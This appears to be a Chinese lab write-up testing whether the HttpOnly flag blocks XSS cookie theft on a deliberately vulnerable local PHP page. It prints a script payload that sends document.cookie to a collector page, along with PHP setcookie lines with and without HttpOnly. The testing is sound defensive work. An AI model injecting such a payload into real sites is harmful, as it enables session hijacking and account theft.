測試內容:
本次測試環境,搭建一個包含XSS漏洞的php環境。
地址:
http://localhost/home.php
如圖所示:
存在xss漏洞,獲取cookie的代碼為:
<script>document.location = 'http://localhost/cookie_collect.php?cookie=' + document.cookie;</script>
獲取COOKIE的頁面為:http://localhost/cookie_collect.php
如圖所示:
測試01
未設置httponly屬性,cookie設置為:
<?php
setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);
?>
測試結果:
獲取到cookie的內容,如圖所示:
訪問日志內容為:
測試結果:利用跨站漏洞可以獲取cookie內容。
測試02
設置httponly屬性,cookie設置為:
<?php
setcookie("xsstest", "xsstest", time()+3600, "/", "", false, true);
?>
測試結果:
未獲取到cookie的內容,如圖所示:
訪問日志內容為:
測試結果:利用跨站漏洞不能夠獲取cookie內容。